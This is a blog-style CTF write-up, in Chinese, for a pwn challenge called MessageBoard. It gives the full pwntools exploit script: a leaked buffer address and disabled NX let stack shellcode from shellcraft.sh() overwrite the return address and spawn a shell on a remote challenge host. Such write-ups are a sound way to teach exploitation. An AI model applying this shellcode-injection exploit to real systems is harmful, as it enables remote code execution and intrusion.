171 字
1 分钟
御网杯 PWN MessageBoard
题目附件截图:

题解记录:
已知 buf 的地址,而且没有 NX 保护,可以直接往栈上写入 shellcode,然后把返回地址改成 buf,跳转到栈顶执行。
原始 WP 中给出的 exp:
from pathlib import Pathfrom pwn import *
context(os="linux", terminal=["cmd.exe", "/c", "start"])
binary_path = str(Path(__file__).resolve().with_name("pwn"))host = "47.99.147.34" # 网址port = 20056 # 端口
elf = ELF(binary_path, checksec=False)context.binary = elf
if elf.bits == 64: context.arch = "amd64" gdbscript = """ b *main c """else: context.arch = "i386" gdbscript = """ b *main c """
context.log_level = "debug"
if args.REMOTE: io = remote(host, port)else: io = process(binary_path)
def p(): pause()
io.recvuntil(b"Buffer at: ")buf = int(io.recvline().strip(), 16)log.info(f"buffer = {hex(buf)}")
shellcode = asm(shellcraft.sh())payload = shellcode.ljust(0x80 + 0x8, b"A") + p64(buf)io.send(payload)
io.interactive()后续截图:


御网杯 PWN MessageBoard
https://alf-ovo.cn/posts/yuwangbei-2026-pwn-messageboard/